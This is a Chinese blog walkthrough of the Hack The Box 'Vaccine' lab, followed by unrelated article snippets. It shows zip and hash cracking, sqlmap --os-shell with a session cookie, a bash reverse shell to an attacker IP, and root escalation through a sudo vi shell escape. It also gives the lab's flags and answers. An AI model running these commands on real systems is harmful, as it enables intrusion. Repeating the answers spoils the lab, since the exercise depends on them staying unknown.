当前位置: 首页 > news >正文

HTB-Vaccine(suid提权、sqlmap、john2zip)

前言

  • 各位师傅大家好,我是qmx_07,今天来为大家讲解Vaccine靶机
    在这里插入图片描述

渗透过程

信息搜集

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 服务器开放了 21FTP服务、22SSH服务、80HTTP服务

通过匿名登录FTP服务器

在这里插入图片描述

  • 通过匿名登录到服务器,发现backup.zip文件,可能存在账号密码
    在这里插入图片描述
  • 发现backup.zip文件 设置密码,考虑使用john 破解

john 破解zip文件

在这里插入图片描述

  • zip2john 是一个用于处理加密 ZIP 文件以进行密码破解的工具
  • 可以将加密的 ZIP 文件转换为一种特定的格式,以便密码破解工具(如 John the Ripper)能够识别和处理。
  • 文件后缀为 “.hashes” 通常表示该文件包含密码哈希值
  • 通过对密码进行特定的算法运算得到的结果,其目的是为了在不直接存储明文密码的情况下,能够验证用户输入的密码是否正确
    在这里插入图片描述
    密码是:741852963

哈希破解

在这里插入图片描述

  • 可以看到 网站的账户是:admin
  • 密码经过md5加密:2cb42f8734ea607eefed3b70af13bbd3

我们介绍一下密码破解网站:crackstation.net

  • 支持多种哈希算法:LM、NTLM、MD2、MD4、MD5、SHA1、SHA224、SHA256、SHA384、SHA512、RIPEMD160 ,速度非常快
    在这里插入图片描述
  • 密码是:qwerty789

sqlmap 利用- os-shell 获取权限

在这里插入图片描述

  • 登录网站之后,发现搜索框 查询内容,疑似sql注入
    在这里插入图片描述
  • 输入’ 有错误回显,确认确实具有该漏洞
    在这里插入图片描述
  • SQLMap 是一款开源的自动化 SQL 注入工具,主要用于检测和利用 SQL 注入漏洞
  • 可以对多种数据库进行漏洞探测:MySQL、Oracle、PostgreSQL、Microsoft SQL Server
    常用命令:
-u:指定目标 URL
例子:sqlmap -u "http://example.com/page.php?id=1"
--dbs:列出目标数据库中的所有数据库
例子:sqlmap -u "http://example.com/page.php?id=1" --dbs
--tables:列出指定数据库中的所有表
例子:sqlmap -u "http://example.com/page.php?id=1" --tables -D database_name
--columns:列出指定表中的所有列
例子:sqlmap -u "http://example.com/page.php?id=1" --columns -D database_name -T table_name
-os-shell 用于获取目标服务器的操作系统命令行 shell
例子:sqlmap -u "http://example.com/page.php?id=1" --os-shell

在这里插入图片描述

  • 通过yakit 捕获cookie内容,因为sql注入的地方 是后台,需要登录信息
  • Cookie: PHPSESSID=3mmtugeeqob4aplgtdomrie2gf
    在这里插入图片描述
sqlmap -u "http://10.129.104.85/dashboard.php?search=nothing" --cookie="PHPSESSID=3mmtugeeqob4aplgtdomrie2gf" --os-shell

在这里插入图片描述

  • 可以执行命令 来反弹会话
bash -c "bash -i >& /dev/tcp/10.10.16.3/1234 0>&1"

在这里插入图片描述
通过一下命令,来巩固会话:

python3 -c 'import pty; pty.spawn("/bin/bash")'

suid提权

在这里插入图片描述

在这里插入图片描述

  • 翻找网站连接配置文件dashboard.php

  • 用户是:postgres

  • 密码是:P@s5w0rd!
    在这里插入图片描述

  • 命令:su postgres //登录账户

  • 可以观察到 postgres可以以root权限运行 vi命令 指向pg_hba.conf

  • https://gtfobins.github.io/ 这个网站提供了suid提权的相关命令
    在这里插入图片描述

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:set shell=/bin/sh     :wq 保存退出
:shell                 回车

在这里插入图片描述
user_flag:ec9b13ca4d6229cd5cc1e09980965bf7

在这里插入图片描述
flag:dd6e058e814260bc70e9bbdef2715849

答案

  • 1.服务器上除了HTTP、SSH服务,还提供了哪些服务?

FTP

  • 2.可以使用哪个用户登录FTP服务器?

anonymous

  • 3.可以使用哪个命令下载文件?

get

  • 4.john the ripper可以使用哪个脚本来破解zip文件?

john2zip

  • 5.admin的密码是什么?

QWERTY789

  • 6.sqlmap可以使用什么参数来获得命令执行?

–os-shell

  • 7.postgres可以使用什么命令以root身份运行?

vi

  • 8.用户flag?

ec9b13ca4d6229cd5cc1e09980965bf7

  • 9.flag?

dd6e058e814260bc70e9bbdef2715849

总结

  • 我们介绍了john2zip脚本,sqlmap工具及常用参数,suid提权及相关辅助网站,哈希密码破解网站

相关文章:

HTB-Vaccine(suid提权、sqlmap、john2zip)

前言 各位师傅大家好,我是qmx_07,今天来为大家讲解Vaccine靶机 渗透过程 信息搜集 服务器开放了 21FTP服务、22SSH服务、80HTTP服务 通过匿名登录FTP服务器 通过匿名登录到服务器,发现backup.zip文件,可能存在账号密码 发现b…...

【达梦数据库】异构数据库迁移到达梦

目录 1、迁移准备2、正式迁移3、问题处理3.1、return附近出现错误3.1.1、排查过程3.1.2、问题原因3.1.2、解决方法 3.2、对象[XXX]处于无效状态-类型13.2.1、排查过程3.2.2、问题原因3.2.3、解决方法 3.3、对象[XXX]处于无效状态-类型23.3.1、排查过程3.3.2、问题原因3.3.3、解…...

抽象类和接口(1)

抽象类: 什么是抽象类: 听着就很抽象,确实挺抽象,先来写一个抽象类感觉一下: 这就是抽象类! 在 Java 中,一个类如果被 abstract 修饰称为抽象类,抽象类中被 abstract 修饰的方法…...

epoll内核原理与实现详解

目录 1 epoll相关理论基础 1.1 I/O多路复用技术 1.2 事件驱动模型 1.2.1 基本概念 1.2.2 优缺点分析 1.2.3 与epoll的关联 1.3 epoll机制简介 1.3.1 核心原理 1.3.2 优点 2 epoll内核原理 2.1 epoll数据结构 2.1.1 主要数据结构 2.1.2 数据结构关系 2.2 epoll工作…...

被低估的SQL

SQL是现代数据库管理系统中不可或缺的一部分。尽管它的使用已十分普遍,但在数据处理领域,SQL的某些功能和潜力仍然被许多人低估。接下来,小编将与您一起,探讨SQL的一些被忽视的特性,揭示它在数据管理中的真正实力。 1.…...

数字证书、数字签名及其关系

一.数字证书与数字签名 1.数字证书是一个经证书授权中心数字签名的包含公开密钥拥有者信息以及公开密钥的文件。简单地说,数字证书是一段包含用户身份信息、用户公钥信息以及份验证机构数字签名的数据。 通俗理解:数字证书相当于【身份证】 —— 确认你…...

一文读懂:如何将广告融入大型语言模型(LLM)输出

本文是我翻译过来的,讨论了在线广告行业的现状以及如何将大型语言模型(LLM)应用于在线广告。 原文请参见”阅读原文“。 在2024年,预计全球媒体广告支出的69%将流向数字广告市场。这个数字预计到2029年将增长到79%。在Meta的2024…...

godotenv拜读

简介 应用提倡将配置存储在环境变量中。任何从开发环境切换到生产环境时需要修改的东西都从代码抽取到环境变量里。 但是在实际开发中,如果同一台机器运行多个项目,设置环境变量容易冲突,不实用。godotenv库从.env文件中读取配置,…...

解析REST API与OpenAPI之差异:避免混淆

在网络API领域,常提及的两种术语为Rest API与Open API,其既存在差异亦存在联系。前者是一种API设计方式,后者则是一种API描述及定义规范。值得注意的是,OpenAPI 可用于描述和定义REST API。 什么是REST API? REST API …...

一篇文章就搞懂了:过虑器 、拦截器 、监听器是什么

java 过虑器 、拦截器 、监听器的区别? ‌实现原理‌: 过滤器基于函数回调实现。拦截器基于Java的反射机制实现。监听器用于监听特定事件的发生,并作出相应处理。 ‌使用范围‌: 过滤器依赖于Tomcat等容器,主要用于Web程序。拦截…...

本体映射与本体集成

文章目录 本体映射与本体集成本体映射分类知识挖掘是从己有的实体及实体关系出发挖掘新的知识,具体包括知识内容挖掘和知识结构挖掘。 本体映射与本体集成 解决本体异构的通用方法是本体集成与本体映射。本体集成直接将多个本体合并为一个大本体,本体映射则寻找本体间的映射…...

华媒舍:10种提升推特大V发文推广曝光率的方式

在社交媒体时代,推特已成为许多大V达到更广泛受众的重要渠道。并非所有的推文都能获得理想的曝光率。为了帮助大V们提升推文的曝光率,本文将介绍10种有效的方式。 1. 精心构思内容 好的内容是吸引读者和提升曝光率的关键。大V们应该从听众的角度出发&am…...

前端本地存储数据:深入解析与代码示例(Cookie、LocalStorage、SessionStorage和IndexedDB)

在现代Web应用中,前端本地存储是实现用户个性化体验的关键技术。本文将深入探讨前端本地存储的四种主要技术:Cookie、LocalStorage、SessionStorage和IndexedDB,并提供具体的代码示例。 Cookie 简介 Cookie是由服务器创建并存储在用户浏览…...

Java语言程序设计基础篇_编程练习题*18.21 (将十进制数转换为二进制数)

*18.21 (将十进制数转换为二进制数) 编写一个递归方法,将一个十进制数转换为一个二进制数的字符串。方法头如下: public static String dec2Bin(int value)编写一个测试程序,提示用户输入一个十进制数,然后显示等价的二进制数。 代码示例 …...

中年转行新可能:18 个月迈向大模型提示词工程师

【导读】 人到中年,想半路转行成为大模型提示词工程师,这可行吗?最近,一位国外小哥成功转行,他在一篇干货满满的硬核博客中给出了答案:完全可行! 转行成为大模型提示词工程师,到底…...

C++通过返回值和输出参数的原理是什么?分别有什么优势和缺点?

C中,通过返回值和输出参数(通常是通过引用或指针)是函数与外部世界交换数据的两种主要方式。它们各自有着不同的原理和优缺点。 通过返回值 原理: 当函数通过返回值向调用者传递数据时,它实际上是在函数执行完毕后&…...

AI客服机器人开启企业客户服务新纪元

随着人工智能(AI)技术的迅猛发展,使得AI客服机器人走进了我们的视野,成为提高客户满意度和业务效率的不二法宝。这些智能机器人不仅能够处理海量信息,还能为客户提供个性化的服务体验。 一、AI客服机器人的基本原理 AI客服机器人是基于人工智…...

TPM项目课题的确定需要考虑哪些因素?

确定一个合适的TPM项目课题,是企业启动并成功实施TPM计划的第一步。这一过程不仅需要深入洞察企业现状,还需前瞻性地规划未来发展。详情如深圳天行健精益化生产管理咨询公司下文所述: 一、企业战略目标 1.与企业长期发展规划的契合度 -TPM项…...

Rust 数据类型

文章目录 发现宝藏1. 标量类型1.1 整型1.2 浮点型1.3 布尔型1.4 字符型 2. 复合类型2.1 元组2.2 数组 3. 总结 发现宝藏 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。【宝藏入口】。 Rust 是一种静态…...

C#无标题栏窗体拖动

要实现C#无标题栏窗体的拖动功能,可以通过以下步骤实现: 在窗体的构造函数中添加以下代码,以去掉标题栏: this.FormBorderStyle FormBorderStyle.None;然后,添加以下代码以处理鼠标按下事件: private c…...

MySQL容器配置连接数数,镜像重启生效

若有不理解,可以问一下这几个免费的AI网站 https://ai-to.cn/chathttp://m6z.cn/6arKdNhttp://m6z.cn/6b1quhhttp://m6z.cn/6wVAQGhttp://m6z.cn/63vlPw 方法一 在 docker-compose.yml 中配置 MySQL 的连接数,可以通过环境变量或配置文件来实现。以下…...

《OpenCV计算机视觉》—— 身份证号码识别案例

文章目录 一、案例实现的整体思路二、代码实现1.首先定义两个函数2.模板图像中数字的定位处理3.身份证号码数字的定位处理4.使用模板匹配,计算匹配得分,找到正确结果 一、案例实现的整体思路 下面是一个数字0~9的模板图片 案例身份证如下: 对…...

如何使用正则表达式替换字符串中的特定位置数字

如何使用正则表达式替换字符串中的特定位置数字 1、效果 把字符串中的第一个123替换掉: 2、代码 使用正则中的sub函数: re.sub(pattern,repl,string,count=0,flags=0) pattern:表示需要匹配的模式,即需要被替换的字符或字符串。 repl:表示替换后的字符串或函数,用于…...

【SQL】在SQL中,行转列

在SQL中,行转列通常是指将数据从水平方向(行)转换为垂直方向(列),这可以通过使用CASE语句或数据库特有的函数如PIVOT(在SQL Server中)来实现。下面我将通过一个具体的例子来说明如何…...

95. UE5 GAS RPG 实现创建多段飞弹攻击敌人

从这篇开始,我们将实现一些技能,比如多段火球术,闪电链等等。 在这一篇里,我们先实现多段火球术,技能可以通过配置发射出多个火球术进行攻击。 创建多段火球函数 首先在我们之前创建的RPGFireBolt.h类里面增加一个生…...

分布式集群下如何做到唯一序列号

优质博文:IT-BLOG-CN 分布式架构下,生成唯一序列号是设计系统常常会遇到的一个问题。例如,数据库使用分库分表的时候,当分成若干个sharding表后,如何能够快速拿到一个唯一序列号,是经常遇到的问题。实现思…...

在 Vue 2 中使用 Axios 发起 POST 和 GET 请求

Axios 是一个基于 Promise 的 HTTP 客户端,用于浏览器和 node.js,它提供了一种非常方便的方式来发送异步 HTTP 请求。在 Vue 2 应用中,Axios 可以帮助我们轻松地与后端 API 进行通信。本文将介绍如何在 Vue 2 项目中引入 Axios,并…...

Linux内核初始化过程中加载TCP/IP协议栈

Linux内核初始化过程中加载TCP/IP协议栈 Linux内核初始化过程中加载TCP/IP协议栈,从start_kernel、kernel_init、do_initcalls、inet_init,找出Linux内核初始化TCP/IP的入口位置,即为inet_init函数。 Linux内核启动过程 之前的实验中我们设…...

Mysql树形结构表-查询所有子集数据

表结构,这里只是个例子,所有的树形结构表均可用: CREATE TABLE zhkt_course_chapter (id bigint NOT NULL COMMENT 唯一id,course_id bigint NOT NULL COMMENT 所属课程id,name varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general…...

Vue 3 Composition API进阶指南

在上一篇文章中,我们介绍了Vue 3的Composition API基础,包括如何使用setup函数、ref和reactive来创建响应式数据,以及使用watchEffect来监控数据变化。本文将继续深入探讨Composition API的高级用法,帮助你更好地理解和利用Vue 3的…...